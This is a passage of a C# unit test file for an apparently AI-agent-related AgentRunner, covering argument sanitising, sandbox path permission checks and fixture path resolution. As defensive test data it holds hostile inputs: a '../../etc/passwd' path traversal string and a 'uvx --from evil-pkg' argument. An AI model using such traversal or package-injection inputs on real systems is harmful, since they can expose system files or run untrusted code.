Assert.NotNull(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void AllowsUnknownCommandArgs()
|
|
{
|
|
// dotnet has no dangerous args list, so all args pass through
|
|
var result = AgentRunner.SanitizeMcpArgs("dotnet", ["run", "--project", "src/Server"]);
|
|
Assert.NotNull(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void RejectsUvxFromFlag()
|
|
{
|
|
Assert.Null(AgentRunner.SanitizeMcpArgs("uvx", ["--from", "evil-pkg", "serve"]));
|
|
}
|
|
}
|
|
|
|
public class CheckPermissionTests
|
|
{
|
|
// Use platform-appropriate paths for cross-platform test compatibility
|
|
private static readonly string WorkDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "work"));
|
|
private static readonly string SkillDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "skills", "test-skill"));
|
|
|
|
[Fact]
|
|
public void ApprovesPathsInsideWorkDir()
|
|
{
|
|
var filePath = Path.Combine(WorkDir, "file.txt");
|
|
var result = AgentRunner.CheckPermission(filePath, WorkDir, null, log: null);
|
|
Assert.True(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ApprovesPathsInsideSkillPath()
|
|
{
|
|
var filePath = Path.Combine(SkillDir, "SKILL.md");
|
|
var result = AgentRunner.CheckPermission(filePath, WorkDir, SkillDir, log: null);
|
|
Assert.True(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ApprovesPathsInsideAdditionalAllowedDirs()
|
|
{
|
|
var stagingDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "sv-iso-abc123", "my-skill"));
|
|
var refPath = Path.Combine(stagingDir, "references", "guide.md");
|
|
var result = AgentRunner.CheckPermission(refPath, WorkDir, null, log: null,
|
|
additionalAllowedDirs: [stagingDir]);
|
|
Assert.True(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void DeniesPathsOutsideAllowedDirectories()
|
|
{
|
|
var outsidePath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "secret", "config"));
|
|
var result = AgentRunner.CheckPermission(outsidePath, WorkDir, null, log: null);
|
|
Assert.False(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void AllowsNullPath()
|
|
{
|
|
var result = AgentRunner.CheckPermission(null, WorkDir, null, log: null);
|
|
Assert.True(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void DeniesPathsOutsideWorkDirWhenNoSkillPath()
|
|
{
|
|
var outsidePath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "other"));
|
|
var result = AgentRunner.CheckPermission(outsidePath, WorkDir, null, log: null);
|
|
Assert.False(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void DeniesPathsWithSharedPrefixButDifferentDirectory()
|
|
{
|
|
var attackerPath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "work-attacker", "evil.sh"));
|
|
var result = AgentRunner.CheckPermission(attackerPath, WorkDir, null, log: null);
|
|
Assert.False(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void AllowsEmptyStringPath()
|
|
{
|
|
var result = AgentRunner.CheckPermission("", WorkDir, null, log: null);
|
|
Assert.True(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ApprovesCommandPathInsideTempDir()
|
|
{
|
|
var cmdPath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "bin", "tool"));
|
|
var result = AgentRunner.CheckPermission(cmdPath, Path.GetTempPath().TrimEnd(Path.DirectorySeparatorChar), null, log: null);
|
|
Assert.True(result);
|
|
}
|
|
}
|
|
|
|
public class ResolveSourcePathTests
|
|
{
|
|
[Fact]
|
|
public void ResolvesRelativeToEvalDirectory()
|
|
{
|
|
// Create a temp directory with a fixture file
|
|
var tmpDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
var fixturesDir = Path.Combine(tmpDir, "fixtures");
|
|
Directory.CreateDirectory(fixturesDir);
|
|
var fixtureFile = Path.Combine(fixturesDir, "test.txt");
|
|
File.WriteAllText(fixtureFile, "test");
|
|
try
|
|
{
|
|
var evalPath = Path.Combine(tmpDir, "eval.yaml");
|
|
var result = AgentRunner.ResolveSourcePath("fixtures/test.txt", evalPath, skillPath: null);
|
|
Assert.NotNull(result);
|
|
Assert.Equal(Path.GetFullPath(fixtureFile), result);
|
|
}
|
|
finally
|
|
{
|
|
Directory.Delete(tmpDir, true);
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public void FallsBackToSkillPathWhenEvalPathIsNull()
|
|
{
|
|
var tmpDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
var fixturesDir = Path.Combine(tmpDir, "fixtures");
|
|
Directory.CreateDirectory(fixturesDir);
|
|
var fixtureFile = Path.Combine(fixturesDir, "data.cs");
|
|
File.WriteAllText(fixtureFile, "// code");
|
|
try
|
|
{
|
|
var result = AgentRunner.ResolveSourcePath("fixtures/data.cs", evalPath: null, skillPath: tmpDir);
|
|
Assert.NotNull(result);
|
|
Assert.Equal(Path.GetFullPath(fixtureFile), result);
|
|
}
|
|
finally
|
|
{
|
|
Directory.Delete(tmpDir, true);
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullWhenBothPathsAreNull()
|
|
{
|
|
var result = AgentRunner.ResolveSourcePath("fixtures/test.txt", evalPath: null, skillPath: null);
|
|
Assert.Null(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void RejectsPathTraversal()
|
|
{
|
|
var tmpDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
Directory.CreateDirectory(tmpDir);
|
|
try
|
|
{
|
|
var evalPath = Path.Combine(tmpDir, "eval.yaml");
|
|
var result = AgentRunner.ResolveSourcePath("../../etc/passwd", evalPath, skillPath: null);
|
|
Assert.Null(result);
|
|
}
|
|
finally
|
|
{
|
|
Directory.Delete(tmpDir, true);
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public void PrefersEvalPathOverSkillPath()
|
|
{
|
|
var evalDir = Path.Combine(Path.GetTempPath(), $"sv-eval-{Guid.NewGuid():N}");
|
|
var skillDir = Path.Combine(Path.GetTempPath(), $"sv-skill-{Guid.NewGuid():N}");
|
|
Directory.CreateDirectory(Path.Combine(evalDir, "fixtures"));
|
|
Directory.CreateDirectory(Path.Combine(skillDir, "fixtures"));
|
|
File.WriteAllText(Path.Combine(evalDir, "fixtures", "f.txt"), "eval");
|
|
File.WriteAllText(Path.Combine(skillDir, "fixtures", "f.txt"), "skill");
|
|
try
|
|
{
|
|
var evalPath = Path.Combine(evalDir, "eval.yaml");
|
|
var result = AgentRunner.ResolveSourcePath("fixtures/f.txt", evalPath, skillPath: skillDir);
|
|
Assert.NotNull(result);
|
|
// Should resolve to eval directory, not skill directory
|
|
Assert.StartsWith(Path.GetFullPath(evalDir), result);
|
|
}
|
|
finally
|
|
{
|
|
Directory.Delete(evalDir, true);
|
|
Directory.Delete(skillDir, true);
|
|
}
|
|
}
|
|
}
|